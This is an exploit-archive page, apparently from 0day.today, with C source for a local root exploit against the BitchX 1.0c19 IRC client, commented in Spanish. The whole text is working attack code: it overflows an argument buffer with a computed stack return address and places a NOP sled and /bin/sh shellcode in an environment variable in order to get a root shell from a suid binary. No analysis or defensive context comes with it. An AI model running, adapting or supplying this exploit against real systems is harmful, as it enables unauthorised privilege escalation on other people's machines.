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BitchX 1.0c19 Local Root Exploit (suid?)
[========================================
BitchX 1.0c19 Local Root Exploit (suid?)
========================================
// BitchX local-root by Sha0 (version 1.0c19 e inferiores -todas-)
// este exploit se lo dedico a mi chica.
// 0xC0000000-4-strlen(argv[1])-1-strlen(buffer)
// 2052 to the ret
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
char payload[69];
char sha0code[] =
"\xeb\x16\x5b\x31\xc0"
"\x50\x53\xb0\x0b\x89"
"\xdb\x89\xe1\x31\xd2"
"\xcd\x80\x31\xc0\x40"
"\x31\xdb\xcd\x80\xe8"
"\xe5\xff\xff\xff\x2f"
"\x62\x69\x6e\x2f\x73\x68";
void nopea (void);
int main (int argc, char **argv) {
char *buff;
char *arg1="bash";
char *arg2="-c";
char *arg[]={arg1,arg2,buff,NULL};
char *env[]={"TERM=xterm",payload,NULL};
char offset[]="";
char sret[4];
unsigned long lret;
int i;
if (argc != 2) {
fprintf (stdout,"BitchX exploit Coded By Sha0\n");
fprintf (stdout,"ej: %s /usr/bin/BitchX\n\n",argv[0]);
return (1);
}
buff = (char *)malloc (2100);
bzero (buff,sizeof(buff));
arg[2] = buff;
nopea ();
lret = 0xbffffffa - strlen(payload) - strlen(argv[1]);
sret[0] = (0x000000ff & lret);
sret[1] = (0x0000ff00 & lret) >> 8;
sret[2] = (0x00ff0000 & lret) >> 16;
sret[3] = (0xff000000 & lret) >> 24;
for (i=0;i<2088;i+=4) // 2088 tirando largo.
memcpy (buff+i,sret,4);
execve (argv[1],arg,env);
perror ("execve()");
free (buff);
return (0);
}
void nopea (void) {
bzero (payload,sizeof(payload));
memset (payload,0x90,sizeof(payload)-1);
memcpy (payload+sizeof(payload)-strlen(sha0code)-1,sha0code,strlen(sha0code));
}
# 0day.today [2024-12-24] #